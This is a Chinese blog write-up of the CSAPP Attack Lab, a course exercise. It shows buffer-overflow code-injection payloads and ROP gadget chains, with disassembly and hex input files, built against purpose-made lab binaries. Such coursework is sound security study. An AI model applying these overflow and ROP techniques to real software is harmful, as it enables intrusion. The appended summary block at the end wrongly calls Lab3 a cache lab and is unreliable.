CSAPP Lab3:Attack Lab

本文详细记录了《深入理解计算机系统》实验中的AttackLab,包括CodeInjectionAttacks和Return-OrientedProgramming两部分。实验通过缓冲区溢出攻击,操纵程序执行特定代码,如在CTARGET中通过注入代码触发touch1、touch2、touch3函数,以及在RTARGET中使用ROP技术绕过栈随机化和不可执行栈保护。实验涉及理解堆栈规则、寻找代码段中的小工具(gadget)以构造有效payload,并通过hex2raw工具生成输入字符串,最终成功执行预设的函数。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

该实验是《深入理解计算机系统》(英文缩写CSAPP)课程附带实验——Lab3:Attack Lab,和Lab 2:Bomb Lab都对应书中第三章内容(程序的机器级表示),该实验分为代码注入面向返回的编程两部分,进行缓冲区溢出攻击。

一.实验总说明

Note: This is the 64-bit successor to the 32-bit Buffer Lab. Students are given a pair of unique custom-generated x86-64 binary executables, called targets, that have buffer overflow bugs. One target is vulnerable to code injection attacks. The other is vulnerable to return-oriented programming attacks. Students are asked to modify the behavior of the targets by developing exploits based on either code injection or return-oriented programming. This lab teaches the students about the stack discipline and teaches them about the danger of writing code that is vulnerable to buffer overflow attacks.
If you’re a self-study student, here are a pair of Ubuntu 12.4 targets that you can try out for yourself. You’ll need to run your targets using the “-q” option so that they don’t try to contact a non-existent grading server. If you’re an instructor with a CS:APP acount, you can download the solutions here.

注意:这是32位Buffer Lab的64位继承者。学生得到一对独特的自定义生成的x86-64二进制可执行文件,称为目标文件,具有缓冲区溢出错误。有一个目标容易 受到代码注入攻击。另一个容易 受到面向返回的编程攻击。学生被要求通过 开发基于代码注入或面向返回的编程的漏洞来修改目标的行为这个实验室向学生们介绍了堆栈规则,并向他们介绍了编写容易受到缓冲区溢出攻击的代码的危险。单纯的缓冲区溢出攻击容易受到堆栈随机化(通过对栈、共享库映射等线性区布局的随机化,防止攻击者定位攻击代码位置(只能用于防护预先不知道指令地址的情况)),金丝雀防护(因为C语言不会对数组长度进行检测,造成缓冲区溢出,所采取的方法就是插入一个金丝雀值,数组操作结束之后,看这个金丝雀值是否变化,变化了则调用某些进程)的制约。)
如果你是一个自学的学生,这里有一对Ubuntu 12.4的目标,你可以自己尝试一下。你需要使用“-q”选项运行你的目标,这样他们就不会尝试联系一个不存在的分级服务器。如果你是一名拥有CS:APP账户的教师,你可以在这里下载解决方案。(即用gdb调试时要加-q)

二.README

Self-Study Handout文件target1.tar中的README.txt文件:

This file contains materials for one instance of the attacklab.
 
Files:
ctarget
Linux binary with code-injection vulnerability. To be used for phases 1-3 of the assignment.
rtarget
Linux binary with return-oriented programming vulnerability. To be used for phases 4-5 of the assignment.
cookie.txt
Text file containing 4-byte signature required for this lab instance.
farm.c
Source code for gadget farm present in this instance of rtarget. You can compile (use flag -Og) and disassemble it to look for gadgets.
hex2raw
Utility program to generate byte sequences. See documentation in lab handout.

这个文件包含一个攻击实验室实例的材料。
文件:
ctarget
带有代码注入漏洞的Linux二进制文件。用于作业的第1-3阶段。
rtarget
带有面向返回编程漏洞的Linux二进制文件。用于作业的第4-5阶段。
cookie.txt
包含此实验室实例所需的4字节签名的文本文件。(通过一些Phase需要用到的字符串)
farm.c
rtarget实例中出现的小工具场的源代码。您可以编译(使用标志-Og)并反汇编它来查找gadget。
hex2raw
生成字节序列的实用程序。参见实验讲义中的文档。(Lab提供给我们的把16进制数转二进制字符串的程序)

三.实验过程记录

准备

> objdump -d ctarget > ctarget.asm

> objdump -d rtarget > rtarget.asm

分别得到ctarget和rtarget的反汇编文件ctarget.asm、rtarget.asm

Part I: Code Injection Attacks

官方文档中:
目标程序:
在这里插入图片描述
函数Gets类似于标准库函数gets—它从标准输入中(从缓冲区)读取字符串 (以’ \n '或文件结束符结束) 并将其(连同空结束符)存储在指定的目的地。【即空格/Tab/回车可以写入数组文本文件,不算作字符元素, 不占字节,直到文件结束, 如果是命令行输入的话,直到回车结束(区别getchar ():是在输入缓冲区顺序读入一个字符 (包括空格、回车和 Tab)结束,scanf:空格/Tab/回车都当作结束(参考链接) )】

函数Gets()无法确定它们的目标缓冲区是否足够大,以存储它们读取的字符串。它们只是复制字节序列,可能会超出在目的地分配的存储边界(缓冲区溢出)

对应汇编代码:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

因为Ctarget就是让我们通过缓冲区溢出来达到实验目的,所以可以推断sub $0x28,%rsp的40个字节数就等于输入字符串的最大空间,如果大于40个字节,则发生缓冲区溢出(超过40个字节的部分作为函数返回地址,如果不是确切对应指令的地址,则会误入未知区域(报错:Type string:Ouch!: You caused a segmentation fault!段错误,可能访问了未知额内存))。

Level 1

在这里插入图片描述
对于Level1,您不会注入新代码。
任务是让CTARGET在getbuf执行它的return语句时执行touch1的代码,而不是返回到test。
其思想是定位touch1的起始地址的字节表示,以便位于getbuf代码末尾的ret指令将控制传递给touch1

Level 1通过条件:
在输入了字符串后,需要经过touch1 函数部分(而不是执行test的返回语句),即缓冲区需要溢出,如果缓冲区不溢出,则在运行test函数后就结束了,不会经过touch1

touch1对应的汇编代码:

00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>

原理:一个函数在调用另外一个函数时,首先需要把下一条指令位置在栈上保存下来,然后再为另外一个函数提供新空间,当另一个函数结束时%rsp回到这个保存的位置 (与没有溢出的区别是,被调用的函数溢出时返回地址被改写)

跳转到touch1的条件:
test()调用getbuf(),而getbuf()函数可以造成溢出,可以 溢出到存放返回地址的内存(touch1),并且可以把返回地址改写(改写为touch1的地址,若不溢出,则getbuf()的返回地址为test,即继续执行调用getbuf()后的下一条语句)。我们只要把touch1()函数的起始地址写入进getbuf()函数的返回地址,就可以完成。即test()->getbuf()->…->getbuf()->test()变成test()->getbuf()->…->getbuf()->touch1()。
当缓冲区输入达到40个字符时,再输入的字符如果是 0x4017c0(touch1的第一条指令位置),就会把之前函数保存的位置覆盖掉,那么当Gets函数结束后,就会跳转到touch1。

Ps

  1. 发生溢出的原因 为输入的字符串中包括了写返回地址的字符串,所以大于40个字节;
  2. 不溢出的条件 为只输入40个字节的字符串,不写返回地址
    但是经检验:
    当只输入40个字节,不写返回地址时:原本应该Type String:No exploit.
    Getbuf returned 0x%x\n
    即继续执行调用getbuf()后的下一条printf语句,但是却得到Type String:Oops!: You executed an illegal instruction,原因尚未可知(猜想可能与本实验的设计有关,因为工具hex2raw是把16进制数转二进制字符串的程序,可能需要输入有效16进制数,本实验40个字节的不溢出结果无法显示?)
    在这里插入图片描述
    当输入39个字节时,则正常返回,不溢出
    在这里插入图片描述

    在终端打开target1文件夹,输入命令:
> vim Hex1.txt 

用vim写40个字符+返回地址(如果现没有Hex1.txt文件的话,会自动新建文件,快速保存时,先esc,再 shift+z,shift+z)
在这里插入图片描述
任意输入40个16进制数(相当未知额内存,不对应具体指令)和0x4017c0 (小端法)

验证:
用hex2rax将输入的16进制数转换为字符串,通过管道导入Hex2raw 再测试,输入命令:

> ./hex2raw < Hex1.txt | ./ctarget -q

在这里插入图片描述
result 1显示为PASS,说明Level 1通过

Level 2

在这里插入图片描述
Level2要求进入Touch2函数,且输入的字符串要与Cookie文件中的字符串相匹配

建议:
在这里插入图片描述

  • 定位需要注入的函数touch2的地址的字节表示,以便在getbuf的代码末尾的ret指令将控制权传递给它。
  • 第一个参数是在寄存器%rdi中传递的。(getbuf()传递给touch的参数)
  • 注入的代码应该先将cookie保存在寄存器%rdi中,然后在使用ret指令将控制权传递给touch2。

思路:
根据文件中的信息,得知首先需要把字符串送到寄存器%rdi中,再进入touch2函数,即可通过Level2
所以,指令应该包括以下两个部分:

  1. 把字符串cookie mov进%rdi中
  2. 进入touch2

在vim中,编写 InjectCode1.s文件,编写汇编之后再反汇编,将得到的指令的机器码写入最后运行的十六进制(字符串)文件中即可。

查找函数touch2的地址为4017ec

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp

输入命令

> vim InjectCode1.s

编写如下指令:
在这里插入图片描述
保存
输入命令:

> gcc -c InjectCode1.s

会生成机器码文件InjectCode1.o ,接着反汇编,输入命令:

> objdump -d InjectCode1.o > InjectCode1.txt

就会生成反汇编文件InjectCode1.txt :
在这里插入图片描述
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3即汇编指令对应的机器码

接下来需要找到40个字符 开栈的位置(即调用getbuf()函数数据压入栈后栈顶指针%rsp的值),让getbuf()返回到这片代码区域(touch2的地址即最终返回地址)

查看函数getbuf的汇编代码:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

起始地址为4017a8,所以需要在4017a8处设置断点(即还没运行4017a8),查看栈顶指针寄存器%rsp的值

输入命令:gdb ctarget 调试,b *0x4017a8 设置断点,r -q运行, p $rsp查看%rsp的值
在这里插入图片描述
得到%rsp此时为 0x5561dca0
根据开栈40字节推算:0x5561dca0-0x28 = 0x5561dc78,即40个字节的开栈位置为0x5561dc78,然后把操作指令放到该位置,让getbuf()返回到这片代码区域(touch2的地址即最终返回地址)

输入命令:

> vim Hex2.txt

写入以下内容:
在这里插入图片描述
输入命令:

> ./hex2raw < Hex2.txt | ./ctarget -q

验证:
在这里插入图片描述

Level 2通过

Ps:
只能把执行传递cookie的指令放在前,然后再填满缓冲区,即01 01 01···和48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3的顺序不可反,否则出现以下报错:
在这里插入图片描述
segmentation fault是段错误,可能访问了未知额内存】

Level 3

在这里插入图片描述
关于函数:

/* Compare string to hex represention of unsigned value */     //将字符串(sval)与无符号值的十六进制表示(cookie、val、s)形式进行比较
2 int hexmatch(unsigned val, char *sval)
3 {
4 char cbuf[110];
5 /* Make position of check string unpredictable */       //使检查字符串的位置不可预测
6 char *s = cbuf + random() % 100;       //random()函数返回0~1之间的任意数
7 sprintf(s, "%.8x", val);               //sprintf函数 把val转化为.8x格式的16进制数(8个一个字节的小写16进制数),打印到指针数组s中
8 return strncmp(sval, s, 9) == 0;       //比较sval和s的前9位(包括最后的结束符‘\0’的指针null)是否相等(sval和s均为char*型,具体看strncmp函数的比较机制)
9 }
0
11 void touch3(char *sval)
12 {
13 vlevel = 3; /* Part of validation protocol */
14 if (hexmatch(cookie, sval)) {
15 printf("Touch3!: You called touch3(\"%s\")\n", sval);      //如果cookie和sval相等,则返回正确溢出
16 validate(3);
17 } else {
18 printf("Misfire: You called touch3(\"%s\")\n", sval);
19 fail(3);
20 }
21 exit(0);
22 }

跟函数磕了一会,后面发现不太影响做题,主要根据后面的Advice进行漏洞编写

建议:
在这里插入图片描述
您的任务是让 CTARGET 执行 touch3 的代码,而不是返回测试。 您必须让它在 touch3 看来就像您传递了 cookie 的字符串表示作为其参数一样

一些建议:

  • 您需要在漏洞利用字符串中 包含 cookie 的字符串表示该字符串(cookie)应包含八个十六进制数字(从最高到最低有效的顺序(ordered from most to least significant)),没有前导“0x”
  • 回想一下,在C语言中,字符串表示为一个字节序列,后面跟着一个值为0的字节。在任何Linux机器上键入“man ascii”以查看所需字符的字节表示
  • 注入的代码应该将寄存器%rdi设置为 这个字符串(cookie)的地址。(即将cookie字符串的起始地址存放在%rdi中)(%rdi为getbuf()传递给touch的参数)
  • 当函数 hexmatch 和 strncmp 被调用时,它们将数据压(push)入堆栈,覆盖保存 getbuf使用的缓冲区的内存部分。因此,您需要 小心放置 cookie 的字符串表示形式。

所以操作指令应包括:

  • 让%rdi指向字符串cookie的起始地址
  • 跳转到touch3函数

字符串cookie应该用字节表示,输入命令man ascii查看所需字符的字节表示
0x59b997fa对应16进制为:35 39 62 39 39 37 66 61(不显示0x)
在这里插入图片描述
注意事项中的这句话:

当函数 hexmatch 和 strncmp 被调用时,它们将数据压(push)入堆栈,覆盖保存 getbuf 使用的缓冲区的内存部分。 因此,您需要 小心放置 cookie 的字符串表示形式。

说明在Test3中会push数据进入堆栈,所以需要注意cookie字符串的存放位置,因为 覆盖了保存 getbuf 使用的缓冲区的内存部分,所以可以不考虑把cookie字符串放到40个字符的堆栈里面,那40个字符用来存放命令后填满即可
所以cookie字符串可以考虑放到get的栈帧中,即越过40个字符的上方,因为不再返回了,所以那部分就不会被触碰到

cookie字符串存放在 栈顶+8字节的位置(即cookie字符串的起始地址),再把这个 cookie字符串的起始地址存放进%rdi中
在Level 2中已经得到栈顶指针%rsp的初始值为0x5561dca0,所以cookie字符串的起始地址为0x5561dca0;并查看,touch3函数的地址为4018fa

00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx

输入命令

> vim attack2.s

编写如下指令:
在这里插入图片描述
保存
输入以下命令,汇编,反汇编

> gcc -c attack2.s
> objdump -d attack2.o > attack2.txt

在这里插入图片描述
得到操作指令的机器码为:48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3

补充满40个字节,加上getbuf()的返回地址0x5561dc78cookie字符串的十六进制值,输入命令:

> vim Hex3.txt

编写文件Hex3.txt
在这里插入图片描述
输入命令:

> ./hex2raw < Hex3.txt | ./ctarget -q 

验证:
在这里插入图片描述
Level 3通过

Part II: Return-Oriented Programming

在这里插入图片描述
对程序 RTARGET 执行代码注入攻击比对 CTARGET 执行代码注入攻击要困难得多,因为它使用两种技术来阻止此类攻击

  • 它使用随机化,以便堆栈位置从一次运行到另一次运行不同。 这使得无法确定注入的代码所在的位置
  • 它将保存堆栈的内存部分标记为不可执行,因此即使您可以将程序计数器设置为注入代码的开头,程序也会因分段错误而失败。

幸运的是,聪明的人已经设计出了一些策略,通过执行现有代码而不是注入新代码来在程序中完成有用的事情。最普遍的形式被称为面向返回的编程(ROP)[1,2]。ROP的策略是在现有的程序中识别字节序列,该程序包含一个或多个指令,后面跟着指令ret。这样的段称为gadget。

即Part II和PartI I的区别是:这里用 栈随机性禁止栈中使用命令 : 栈随机性 导致栈的位置不再固定,也导致我们不能像Part I一样,运行命令直接用栈中的确切位置就返回禁止栈中使用命令 为如果我们的命令是在栈中的,即 %rip(程序计数器) 指向栈,则会报错(段错误)

Figure2说明了如何设置堆栈来执行一个包含n个gadget的序列。在这个图中,堆栈包含一个小工具地址序列。每个小部件由一系列指令字节组成,最后一个是0xc3,编码ret指令。当程序执行以这个配置开始的ret指令时,它将启动一个小工具执行链,每个小工具的末端都有ret指令,这将导致程序跳转到下一个小工具的开始。 小工具可以使用与编译器生成的汇编语言语句相对应的代码,尤其是函数末尾的代码。 在实践中,这种形式可能会有一些有用的小工具,但不足以实现许多重要的操作。 例如,编译函数极不可能将 popq %rdi 作为它在 ret 之前的最后一条指令。 幸运的是,对于面向字节的指令集,例如 x86-64,通常可以通过从指令字节序列的其他部分提取模式来找到小工具。 例如,rtarget的一个版本包含为以下C函数生成的代码:

void setval_210(unsigned *p)
{
 *p = 3347663060U;
}

这个函数用于攻击系统的可能性似乎非常小。但是,这个函数的分解机器码(反汇编)显示了一个有趣的字节序列:

0000000000400f15 <setval_210>:
400f15: 		c7 07 d4 48 89 c7 		movl $0xc78948d4,(%rdi)
400f1b: 		c3						retq

字节序列 48 89 c7 对指令 movq %rax, %rdi 进行编码。 (有关有用 movq 指令的编码,请参见图 3A。)此序列后跟字节值 c3,它对 ret 指令进行编码。 函数从地址 0x400f15 开始,序列从函数的第四个字节开始。 因此,此代码包含一个起始地址为 0x400f18 的小工具它将寄存器 %rax 中的 64 位值复制到寄存器 %rdi

即关注上面的机器码单独截出来 48 89 c7,可翻译为movq %rax, %rdic3 可翻译为retq ,函数可以通过跳转到指定地址(0x400f18) 完成movq %rax,%rdi retq的指令,通过类似的小指令,不断地跳转,就可以完成需要的操作

Level 2

在这里插入图片描述
这一关需要完成的部分还是touch2,只不过是rtarget部分

建议:

  • 所有你需要的小工具都可以在代码区域找到由start_farm和mid_farm的功能划定。
  • 只需两个小工具即可进行此攻击。
  • 当小工具使用 popq 指令时,它会从堆栈中弹出数据。因此,您的漏洞利用字符串将包含小工具地址和数据的组合。

实验需要用到的指令对应的机器码:
在这里插入图片描述
思路:

在Level 2中提到解法为:

  • 定位需要注入的函数touch2的地址的字节表示,以便在getbuf的代码末尾的ret指令将控制权传递给它。
  • 第一个参数是在寄存器%rdi中传递的。
  • 注入的代码应该先将cookie保存在寄存器%rdi中,然后在使用ret指令将控制权传递给touch2。

所以首先需要popq %rdi把cookie存放到%rdi中,然后再利用retq返回到touch2

完成上面的过程,需要查找工具部分机器码能不能直接提供我们相应功能,如果不行,则需要分几个步骤来完成。

在反汇编文件rtarget.asm中查看farm部分汇编代码:

0000000000401994 <start_farm>:
  401994:	b8 01 00 00 00       	mov    $0x1,%eax
  401999:	c3                   	retq   

000000000040199a <getval_142>:
  40199a:	b8 fb 78 90 90       	mov    $0x909078fb,%eax
  40199f:	c3                   	retq   

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq   

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq   

00000000004019ae <setval_237>:
  4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  4019b4:	c3                   	retq   

00000000004019b5 <setval_424>:
  4019b5:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)
  4019bb:	c3                   	retq   

00000000004019bc <setval_470>:
  4019bc:	c7 07 63 48 8d c7    	movl   $0xc78d4863,(%rdi)
  4019c2:	c3                   	retq   

00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq   

00000000004019ca <getval_280>:
  4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  4019cf:	c3                   	retq   

00000000004019d0 <mid_farm>:
  4019d0:	b8 01 00 00 00       	mov    $0x1,%eax
  4019d5:	c3                   	retq   

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq   

00000000004019db <getval_481>:
  4019db:	b8 5c 89 c2 90       	mov    $0x90c2895c,%eax
  4019e0:	c3                   	retq   

00000000004019e1 <setval_296>:
  4019e1:	c7 07 99 d1 90 90    	movl   $0x9090d199,(%rdi)
  4019e7:	c3                   	retq   

00000000004019e8 <addval_113>:
  4019e8:	8d 87 89 ce 78 c9    	lea    -0x36873177(%rdi),%eax
  4019ee:	c3                   	retq   

00000000004019ef <addval_490>:
  4019ef:	8d 87 8d d1 20 db    	lea    -0x24df2e73(%rdi),%eax
  4019f5:	c3                   	retq   

00000000004019f6 <getval_226>:
  4019f6:	b8 89 d1 48 c0       	mov    $0xc048d189,%eax
  4019fb:	c3                   	retq   

00000000004019fc <setval_384>:
  4019fc:	c7 07 81 d1 84 c0    	movl   $0xc084d181,(%rdi)
  401a02:	c3                   	retq   

0000000000401a03 <addval_190>:
  401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
  401a09:	c3                   	retq   

0000000000401a0a <setval_276>:
  401a0a:	c7 07 88 c2 08 c9    	movl   $0xc908c288,(%rdi)
  401a10:	c3                   	retq   

0000000000401a11 <addval_436>:
  401a11:	8d 87 89 ce 90 90    	lea    -0x6f6f3177(%rdi),%eax
  401a17:	c3                   	retq   

0000000000401a18 <getval_345>:
  401a18:	b8 48 89 e0 c1       	mov    $0xc1e08948,%eax
  401a1d:	c3                   	retq   

0000000000401a1e <addval_479>:
  401a1e:	8d 87 89 c2 00 c9    	lea    -0x36ff3d77(%rdi),%eax
  401a24:	c3                   	retq   

0000000000401a25 <addval_187>:
  401a25:	8d 87 89 ce 38 c0    	lea    -0x3fc73177(%rdi),%eax
  401a2b:	c3                   	retq   

0000000000401a2c <setval_248>:
  401a2c:	c7 07 81 ce 08 db    	movl   $0xdb08ce81,(%rdi)
  401a32:	c3                   	retq   

0000000000401a33 <getval_159>:
  401a33:	b8 89 d1 38 c9       	mov    $0xc938d189,%eax
  401a38:	c3                   	retq   

0000000000401a39 <addval_110>:
  401a39:	8d 87 c8 89 e0 c3    	lea    -0x3c1f7638(%rdi),%eax
  401a3f:	c3                   	retq   

0000000000401a40 <addval_487>:
  401a40:	8d 87 89 c2 84 c0    	lea    -0x3f7b3d77(%rdi),%eax
  401a46:	c3                   	retq   

0000000000401a47 <addval_201>:
  401a47:	8d 87 48 89 e0 c7    	lea    -0x381f76b8(%rdi),%eax
  401a4d:	c3                   	retq   

0000000000401a4e <getval_272>:
  401a4e:	b8 99 d1 08 d2       	mov    $0xd208d199,%eax
  401a53:	c3                   	retq   

0000000000401a54 <getval_155>:
  401a54:	b8 89 c2 c4 c9       	mov    $0xc9c4c289,%eax
  401a59:	c3                   	retq   

0000000000401a5a <setval_299>:
  401a5a:	c7 07 48 89 e0 91    	movl   $0x91e08948,(%rdi)
  401a60:	c3                   	retq   

0000000000401a61 <addval_404>:
  401a61:	8d 87 89 ce 92 c3    	lea    -0x3c6d3177(%rdi),%eax
  401a67:	c3                   	retq   

0000000000401a68 <getval_311>:
  401a68:	b8 89 d1 08 db       	mov    $0xdb08d189,%eax
  401a6d:	c3                   	retq   

0000000000401a6e <setval_167>:
  401a6e:	c7 07 89 d1 91 c3    	movl   $0xc391d189,(%rdi)
  401a74:	c3                   	retq   

0000000000401a75 <setval_328>:
  401a75:	c7 07 81 c2 38 d2    	movl   $0xd238c281,(%rdi)
  401a7b:	c3                   	retq   

0000000000401a7c <setval_450>:
  401a7c:	c7 07 09 ce 08 c9    	movl   $0xc908ce09,(%rdi)
  401a82:	c3                   	retq   

0000000000401a83 <addval_358>:
  401a83:	8d 87 08 89 e0 90    	lea    -0x6f1f76f8(%rdi),%eax
  401a89:	c3                   	retq   

0000000000401a8a <addval_124>:
  401a8a:	8d 87 89 c2 c7 3c    	lea    0x3cc7c289(%rdi),%eax
  401a90:	c3                   	retq   

0000000000401a91 <getval_169>:
  401a91:	b8 88 ce 20 c0       	mov    $0xc020ce88,%eax
  401a96:	c3                   	retq   

0000000000401a97 <setval_181>:
  401a97:	c7 07 48 89 e0 c2    	movl   $0xc2e08948,(%rdi)
  401a9d:	c3                   	retq   

0000000000401a9e <addval_184>:
  401a9e:	8d 87 89 c2 60 d2    	lea    -0x2d9f3d77(%rdi),%eax
  401aa4:	c3                   	retq   

0000000000401aa5 <getval_472>:
  401aa5:	b8 8d ce 20 d2       	mov    $0xd220ce8d,%eax
  401aaa:	c3                   	retq   

0000000000401aab <setval_350>:
  401aab:	c7 07 48 89 e0 90    	movl   $0x90e08948,(%rdi)
  401ab1:	c3                   	retq   

0000000000401ab2 <end_farm>:
  401ab2:	b8 01 00 00 00       	mov    $0x1,%eax
  401ab7:	c3                   	retq   
  401ab8:	90                   	nop
  401ab9:	90                   	nop
  401aba:	90                   	nop
  401abb:	90                   	nop
  401abc:	90                   	nop
  401abd:	90                   	nop
  401abe:	90                   	nop
  401abf:	90                   	nop

通过搜索48 89mov指令),还有对于popq对应的机器码,其中 0xc3 = retq0x90 = nop, 找到了两个对这个实验有用的指令且有效的指令(不唯一):popq %rax 58 0x4019a7
在这里插入图片描述
movq %rax,%rdi 0x4019c3
在这里插入图片描述
完成目标需要的操作指令为:

popq %rax	 	 (%rax = 0x59b997fa) (location: 0x4019ab)
retq	 (jmp location: 0x4019c5)
movq %rax,%rdi	 (location: 0x4019c5)
retq	 (jmp location: touch2 4017ec)

输入命令:

> vim Hex4.txt

编写文件Hex4.txt
在这里插入图片描述
输入命令:

> ./hex2raw < Hex4.txt | ./rtarget -q 

验证:
在这里插入图片描述
Level 2通过

Level 3

在这里插入图片描述
这一阶段要求对 RTARGET 进行 ROP 攻击,以使用指向 cookie 字符串表示的指针调用函数 touch3。
要解决阶段5,可以在rtarget中由函数start_farmend_farm划分的代码区域中使用小工具。除了在阶段4中使用的小工具,这个扩展的场还包括不同的movl指令的编码,如图3C所示。这部分场中的字节序列也包含2字节指令,它们作为nops函数,也就是说,它们不改变任何寄存器或内存值。这些指令包括如图3D所示的指令,如andb %al,%al,它们对一些寄存器的低阶字节进行操作,但不改变它们的值。 一些建议:

  • 您将希望查看movl指令对寄存器的上4个字节的影响,如正文第183页(中文是123页)所述。
  • 官方解决方案需要八个小工具(并非所有小工具都是唯一的)。

思路:
因为有了栈随机性,我们不能指定指针确切位置了,但是可以通过 相对位置 + 栈顶的位置,先获取到栈顶的位置,然后加上我们放置距离栈顶的相对位置,得到cookie字符串起始地址放置的位置

推导顺序:

  1. 首先需要 获取栈顶的位置,查看Source = %rspmov指令机器码,查找与之相关联的寄存器。
  2. 发现movq %rsp,%rax可用,则先找movq %rax,%rdi,因为最终需要%rdi 来存放 字符串的指针开始地址
  3. 因为lea命令可以起到addmov的作用,lea (%rdi,%rsi,1),%rax%rsi可以作 相对位置偏移的量,这个偏移量由最终栈顶离字符串的相对偏移位置来确定,%rdi里面存%rsp刚开始的栈顶位置,由上一步movq %rsp,%rax movq %rax,%rdi得到,最后的偏移位置在%rax中,最后只需要movq %rax,%rdi即可达到目的
  4. 现在需要把偏移量放到%rsi中,因为没有pop %rsi,只能逆向思维,找与mov %rsi相关的指令
  5. farm部分只找到movl %ecx,$esi ,需要把%eax%ecx联系起来,因为只有%rax可以pop(可以指定值),所以逆向寻找movl %ecx,得到逆向顺序:%eax -> %edx -> %ecx -> %esi

写出如下操作指令并在farm部分的汇编代码中查找对应的位置:

movq %rsp,%rax    (location:0x401a06)
movq %rax,%rdi    (location: 0x4019c5)
popq rax 	  (location:0x4019cc)

//相对偏移量为0x48而不是10行8字节 0x50 ,原因为刚开始的第一个是返回地址(% rsp从第一条开始才转移值)
//%eax -> %edx -> %ecx -> %esi
movq %eax,%edx    (location:0x4019dd)
movq %edx,%ecx	  (location: 0x401a69)
movq %ecx,%esi    (location:0x401a13)

lea %rdi + %rsi* 1, %rax 	 (location:0x4019d6)
movq %rax,%rdi 	  (location:0x4019c5)

retq 	 (jmp location: touch3 4018fa)

输入命令:

> vim Hex5.txt

编写文件Hex5.txt(上述指令的地址+cookie字符串十六进制表示
在这里插入图片描述
输入命令:

> ./hex2raw < Hex5.txt | ./rtarget -q 

验证:
在这里插入图片描述
Level 3通过
 

最后target1文件夹中包含以下文件:
在这里插入图片描述

参考:

四.小结

该实验通过开发基于代码注入面向返回的编程的漏洞,使程序发生缓冲区溢出错误超过调用函数(本实验为getbuf())时数组开辟的栈空间(本实验为40个字节)的部分数组元素(本实验为字符)作为函数返回地址,如果不是确切对应指令的地址(造成对应的溢出),则会误入未知区域(造成未知的溢出)】,对程序进行攻击。
通过本实验,进一步了解了堆栈规则,体会到了缓冲区溢出对程序存在的隐患。

### CSAPP Lab3 实验概述 CSAPP (Computer Systems: A Programmer&#39;s Perspective) 是计算机体系结构领域的一本经典教材,其配套的实验旨在帮助学生深入理解计算机系统的内部工作原理。Lab3 主要关注缓存性能优化和内存子系统的行为分析[^1]。 #### 缓存实验室目标 该实验的目标是让学生通过编程实践来探索现代处理器中的缓存机制如何影响程序执行效率。具体来说,会涉及到以下几个方面: - 学习并掌握不同类型的缓存配置参数及其含义 - 使用提供的Cachegrind工具测量特定代码片段下的缓存命中率、缺失次数等指标 - 修改给定源码以观察各种因素对缓存性能的影响规律 - 基于实验数据得出结论,并尝试提出改进措施提高应用程序运行速度 ```c // 示例:简单的数组遍历函数用于测试缓存行为 void traverse_array(int *array, int size) { for (int i = 0; i < size; ++i) { array[i] += 1; } } ``` #### 关键概念解析 为了更好地完成此部分的任务,了解一些基础理论是非常有必要的: - **Cache Line**: 当前大多数CPU采用的是基于行(line-based)的方式来进行高速缓冲存储器管理。每次加载或写入操作都会按固定大小的数据块进行处理。 - **Spatial Locality 和 Temporal Locality**: 这两个局部性原则描述了访问模式中存在的空间连续性和时间重复性的特点,在设计高效算法时非常重要[^2]. - **False Sharing**: 多线程环境下可能出现的一种现象——多个核心试图修改同一cache line内的不同位置却因共享而造成不必要的同步开销。 #### 数据收集与分析方法 利用Valgrind套件里的`cachegrind`命令可以方便地获取有关指令级模拟的信息。下面是一个基本用法的例子: ```bash valgrind --tool=cachegrind ./your_program cg_annotate cachegrind.out.<pid> | less ``` 上述命令将会生成详细的报告文件,其中包含了每条机器指令对应的L1/D1/L2 cache miss情况以及总的miss rate统计值。通过对这些数值变化趋势的研究能够揭示潜在瓶颈所在之处[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

